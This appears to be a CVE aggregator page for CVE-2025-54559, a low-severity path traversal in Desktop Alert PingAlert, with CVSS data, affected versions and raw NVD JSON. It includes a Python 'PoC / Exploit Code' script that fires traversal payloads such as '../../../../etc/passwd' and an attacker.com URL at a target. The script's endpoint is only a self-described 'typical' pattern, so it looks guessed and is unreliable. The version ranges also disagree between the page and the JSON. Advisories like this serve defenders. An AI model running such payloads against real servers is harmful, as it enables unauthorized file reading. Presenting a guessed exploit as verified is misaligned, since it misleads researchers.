Security Vulnerability Report
中文
CVE-2025-54559 CVSS 3.7 LOW

CVE-2025-54559

Published: 2025-11-14 18:15:49
Last Modified: 2025-11-20 14:52:06

Description

An issue was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2 which allows remote Path Traversal for loading arbitrary external content.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:desktopalert:pingalert_application_server:*:*:*:*:*:*:*:* - VULNERABLE
Desktop Alert PingAlert 6.1.0.11
Desktop Alert PingAlert 6.1.0.12
Desktop Alert PingAlert 6.1.0.13
Desktop Alert PingAlert 6.1.1.0
Desktop Alert PingAlert 6.1.1.1
Desktop Alert PingAlert 6.1.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54559 Path Traversal PoC # Affected: Desktop Alert PingAlert 6.1.0.11 to 6.1.1.2 import requests import sys def exploit_pingalert_cve_2025_54559(target_url): """ Exploit for CVE-2025-54559 Path Traversal in Desktop Alert PingAlert This PoC demonstrates how an attacker can load arbitrary external content """ # Path traversal payloads to test payloads = [ "../../../../etc/passwd", "../../windows/win.ini", "..\..\..\windows\win.ini", "http://attacker.com/malicious_content.txt" ] print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-54559 Path Traversal PoC") print("=" * 50) for payload in payloads: try: # Typical vulnerable endpoint pattern vuln_url = f"{target_url}/alert/load?resource={payload}" print(f"\n[+] Testing payload: {payload}") response = requests.get(vuln_url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Potential vulnerability confirmed!") print(f"[+] Response length: {len(response.content)}") print(f"[+] First 200 bytes: {response.content[:200]}") else: print(f"[-] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Note: This is for authorized security testing only!") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://vulnerable-server.com") sys.exit(1) target = sys.argv[1] exploit_pingalert_cve_2025_54559(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54559", "sourceIdentifier": "[email protected]", "published": "2025-11-14T18:15:49.223", "lastModified": "2025-11-20T14:52:06.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2 which allows remote Path Traversal for loading arbitrary external content."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:desktopalert:pingalert_application_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0.11", "versionEndExcluding": "6.1.1.5", "matchCriteriaId": "35DFA98A-F509-4F93-99A3-807C4B6548A2"}]}]}], "references": [{"url": "https://desktopalert.net", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://desktopalert.net/cve-2025-54559/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}